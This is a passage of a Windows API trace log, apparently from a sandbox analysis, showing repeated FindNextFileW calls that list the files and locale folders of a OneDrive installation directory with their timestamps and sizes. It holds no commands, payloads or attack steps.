ftCreationTime.dwLowDateTime=0xe9238c50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9238c50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9238c50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x27f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoPlayOptIn.png", cAlternateFileName="AUTOPL~2.PNG")) returned 1 [0144.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb6f7ff0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb8c1070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb8c1070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="az-latn-az", cAlternateFileName="AZ-LAT~1")) returned 1 [0144.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb8c1070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeba3de30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeba3de30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="be", cAlternateFileName="")) returned 1 [0144.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeba3de30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc2d010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc2d010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0144.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebc2d010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebdf6090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebdf6090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn-bd", cAlternateFileName="")) returned 1 [0144.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdf6090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebfbf110, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebfbf110, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn-in", cAlternateFileName="")) returned 1 [0144.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebfbf110, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec188190, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec188190, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bs-latn-ba", cAlternateFileName="BS-LAT~1")) returned 1 [0144.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec188190, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec377370, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec377370, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0144.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec377370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec5403f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec5403f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es-valencia", cAlternateFileName="CA-ES-~1")) returned 1 [0144.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe925edb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe925edb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe925edb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectOneDriveLogs.bat", cAlternateFileName="COLLEC~1.BAT")) returned 1 [0144.751] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec5d8970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec7a19f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec7a19f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0144.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7a19f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec96aa70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec96aa70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cy-gb", cAlternateFileName="")) returned 1 [0144.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec96aa70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecb7fdb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecb7fdb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0144.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb7fdb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecd48e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecd48e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0144.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecd48e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecf842d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecf842d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0144.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecf842d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed1bf770, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed1bf770, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0144.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed1bf770, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed3fac10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed3fac10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0144.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed3fac10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed5c3c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed5c3c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0144.752] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed5c3c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed825290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed825290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0144.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe925edb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe925edb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe925edb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x70a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETWlog.dll", cAlternateFileName="")) returned 1 [0144.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed825290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeda14470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeda14470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0144.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe925edb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe925edb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe925edb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x4e5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExclusionList.xml", cAlternateFileName="EXCLUS~1.XML")) returned 1 [0144.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeda14470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedbdd4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedbdd4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1 [0144.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xedbdd4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeddcc6d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeddcc6d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0144.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeddcc6d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee007b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee007b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil-ph", cAlternateFileName="")) returned 1 [0144.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe925edb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe925edb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9284f10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x116a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll", cAlternateFileName="FILESY~1.DLL")) returned 1 [0144.753] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe92ab070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe92ab070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe92ab070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x2524a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.Resources.dll", cAlternateFileName="FILESY~2.DLL")) returned 1 [0144.754] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe92d11d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe92d11d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe92d11d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x394a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSyncApi.dll", cAlternateFileName="FILESY~3.DLL")) returned 1 [0144.754] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe931d490, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe931d490, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe931d490, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x16e6a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSyncClient.dll", cAlternateFileName="FILESY~4.DLL")) returned 1 [0144.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9369750, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9369750, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9369750, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x1b8a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSyncConfig.exe", cAlternateFileName="FILESY~1.EXE")) returned 1 [0144.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe93b5a10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe93b5a10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe93b5a10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12f0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSyncSessions.dll", cAlternateFileName="FIFC38~1.DLL")) returned 1 [0144.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9427e30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9427e30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9427e30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x506a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSyncShell.dll", cAlternateFileName="FI340C~1.DLL")) returned 1 [0144.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee007b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee1f6d50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee1f6d50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0144.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1f6d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee967210, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee967210, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ga-ie", cAlternateFileName="")) returned 1 [0144.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee98d370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec14ad0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec14ad0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gd", cAlternateFileName="")) returned 1 [0144.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeec14ad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeee29e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeee29e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gd-latn", cAlternateFileName="")) returned 1 [0144.755] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeee29e10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeff2e90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeff2e90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0144.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeeff2e90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef1e2070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef1e2070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1 [0144.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef1e2070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3d1250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3d1250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ha-latn-ng", cAlternateFileName="HA-LAT~1")) returned 1 [0144.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef3d1250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef59a2d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef59a2d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0144.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef632850, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef7fb8d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef7fb8d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0144.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef7fb8d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef9eaab0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef9eaab0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0144.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef9eaab0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefbb3b30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefbb3b30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0144.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefbb3b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefda2d10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefda2d10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hy", cAlternateFileName="")) returned 1 [0144.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefda2d10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeff91ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeff91ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0144.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeff91ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf01f34f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf01f34f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ig-ng", cAlternateFileName="")) returned 1 [0144.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01f34f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf03e26d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf03e26d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is", cAlternateFileName="")) returned 1 [0144.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe995ce50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9b25ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9b25ed0, 